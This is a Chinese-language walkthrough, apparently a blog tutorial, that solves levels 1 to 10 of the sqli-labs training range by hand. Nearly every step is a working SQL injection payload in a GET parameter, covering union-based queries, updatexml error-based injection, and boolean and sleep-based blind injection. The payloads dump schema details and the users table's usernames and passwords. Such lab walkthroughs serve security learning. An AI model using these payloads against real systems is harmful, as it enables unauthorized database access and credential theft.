sqli-labs靶场通关保姆级教学(Get传输篇)Less-1Less-10
sqli-labs靶场通关保姆级教学(Get传输篇)Less-1~Less-10(纯手注)
sqli - labs 靶场是一个专门用于网络安全学习和测试 SQL 注入漏洞的开源靶场。包含报错盲注、布尔盲注、基于联合查询的 SQL 注入等多种类型的 SQL 注入漏洞,涵盖了 SQL 注入攻击的常见场景。每个应用程序都有不同的难度级别,从简单的入门级别到复杂的挑战级别,有助于开发者根据自己的技能水平逐步学习和提高。在靶场中进行测试时,系统会提供实时的反馈,帮助开发者了解测试是否成功以及漏洞的利用方式是否有效。用于网络安全学习者练习SQL注入攻击手法、方式等,以便更好的防御、避免该漏洞的出现。
第一关——Less-1
判断注入类型
第一关是字符型注入,单引号闭合。通过判断闭合方式、列数,利用联合查询获取数据库名、用户、表名、列名及数据等信息 。
在URL参数有中输入
?id=1
数据库会回显用户名和密码
接下来判断注入拼接类型 是字符型还是数字型
?id=-1
?id=1'
用单引号闭合的时候报错 很明显是字符型 单引号闭合
猜解列数
接下来就开始猜数据库列数
?id=1' order by 4--+
猜4列报错,看来这个数据库只有3列
猜解出来是3列那就可以继续下去
用union联合注入
?id=-1' union select 1,2,3--+
判断出显示位
只显示2和3
爆库
?id=-1' union select 1,2,database()--+
库名:security
接下来继续爆表
爆表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
表名:emails,referers,uagents,users
爆字段
接着爆字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'--+
最后读取想要读取的数据就可以了
爆数据
?id=-1%27%20union%20select%201,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema = 'security'--+
?id=-1%27%20union%20select%201,2,group_concat(id,0x7e,username,0x7e,password) from users--+
0x7e是ASCII 字符集中的波浪号,方便数据显示观看
第一关结束
第二关——Less-2
判断注入类型
?id=1'
判断存在注入点,数字型注入
接下来和第一关流程一样
猜解列数
判断数据库列数
?id=1 order by 4--+
判断有3列
?id=-1 union select 1,2,3--+
爆库
?id=-1 union select 1,2,database()--+
拿到库名爆表
爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = database()--+
爆数据
?id=-1 union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users--+
第二关结束
第三关——Less-3
判断注入类型
找注入点判断类型
?id=1'
根据报错内容发现是通过单引号+括号闭合 ')
?id=1')
猜解列数
?id=1') order by 4--+
?id=-1') union select 1,2,3--+
爆库
?id=-1') union select 1,2,database()--+
爆表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆列
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+
爆字段
?id=-1') union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users--+
第三关结束
第四关——Less-4
判断注入点
?id=1'"
发现是双引号和括号闭合”)
猜解列数
?id=1") order by 4--+
?id=-1") union select 1,2,3--+
爆库
?id=-1") union select 1,2,database()--+
爆表
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆列
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
爆字段
?id=-1") union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users--+
第四关结束
第五关——Less-5
第五关开始不会回显username和password
报错注入是利用数据库系统在执行非法 SQL 语句时,会返回详细的错误信息这一特性。攻击者通过构造特定的 SQL 语句,让数据库产生错误,并从错误信息中获取敏感数据,像表名、列名和数据内容等。
只能盲注猜解
这里用报错注入updatexml
爆库
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆表
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
爆列
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+
爆字段
?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(id,0x7e,username,0x7e,password)%20from%20users%20limit%207),0x7e),1)--+
第五关结束
第六关——Less-6
?id=1"
发现是用双引号
闭合
爆库
?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆表
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
爆列
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+
爆字段
?id=1" and updatexml(1,concat(0x7e,(select group_concat(id,0x7e,username,0x7e,password) from users),0x7e),1)--+
第六关结束
第七关——Less-7
看不到闭合,只提示sql语法错误
报错注入是注入不了了
只能试试布尔盲注和延时盲注
不过为了更好的看回显选择布尔盲注
布尔盲注主要利用了数据库在处理条件判断时的响应差异来获取信息。攻击者通过构造特殊的 SQL 语句,将其注入到目标应用程序的数据库查询中。注入的语句通常会包含一些条件判断,例如判断某个条件是否为真,然后根据数据库返回的结果(通常是页面的显示情况,如是否显示特定内容、页面是否正常加载等)来推断条件的真假,从而逐步获取数据库中的敏感信息。
判断闭合
经过测试发现“
和'))
都不会报错
但是注入时只有'))
才能真正闭合
判断长度
?id=1')) and (length(database()))>7--+
?id=1')) and (length(database()))>8--+
?id=1')) and (length(database()))=8--+
判断数据库名为8个字符
猜库
用accill码一个一个猜解(一个一个爆太麻烦了,这里简单演示一下具体用法)
当然也可以放到bp或者yakit里爆破看回显长度
?id=1')) and ascii(substr(database(),1,1))=115 --+
判断出数据库第一个字符为s
猜表
?id=1')) and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+
发现表第一个字符为e
猜列
?id=1')) and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1)))=117 --+
爆字段
?id=1')) and (ascii(substr(( select username from users limit 0,1),1,1)))=68 --+
第七关简单演示
第八关——Less-8
判断注入点
?id=1'"--+
?id=1'--+
发现只有单引号时有回显 应该是单引号闭合
判断数据库名长度
?id=1' and (length(database()))=8--+
猜库
?id=1' and ascii(substr(database(),1,1))=115--+
猜表
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+
猜列
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1)))=117 --+
猜字段
?id=1' and (ascii(substr(( select username from users limit 0,1),1,1)))=68 --+
第八关结束
第九关——Less-9
不管输入什么参数都只会回显一个You are in…
只能使用延时盲注判断
当攻击者无法从页面的正常响应中直接获取数据库查询结果时,就可以使用延时盲注。攻击者构造包含延时函数(如 MySQL 中的 SLEEP()
、SQL Server 中的 WAITFOR DELAY
等)的 SQL 语句,并结合条件判断。如果条件为真,数据库就会执行延时操作,页面响应时间会明显增加;如果条件为假,数据库不会执行延时操作,页面会正常快速响应。通过不断改变条件,就可以逐步获取数据库中的信息。
为了方便看延迟时间这里用yakit演示
判断注入点
?id=1%27%20and%20sleep(5)--+
延时5秒 确定是以单引号闭合
判断数据库名长度
?id=1%27%20and%20if(length(database())=8,sleep(5),1)--+
猜库
?id=1' and if(length(database())=8,sleep(10),1)--+
猜表
?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security"limit 0,1),1,1)))=101,sleep(5),1)--+
猜列
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105,sleep(10),1)--+
猜字段
?id=1'and if(ascii(substr((select group_concat(id,username,password) from users),1,1))=49,sleep(5),1)--+
第九关结束
第十关——Less-10
判断注入点
?id=1" and sleep(5)--+
发现是用"
闭合
判断数据库长度
?id=1" and if(length(database())=8,sleep(5),1)--+
猜库
?id=1" and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security"limit 0,1),1,1)))=101,sleep(5),1)--+
猜表
?id=1" and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security"limit 0,1),1,1)))=101,sleep(5),1)--+
猜列
?id=1" and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105,sleep(10),1)--+
猜字段
?id=1" and if(ascii(substr((select group_concat(id,username,password) from users),1,1))=49,sleep(5),1)--+
第十关结束
遇到问题可在评论区或者私信交流
下播!!!!!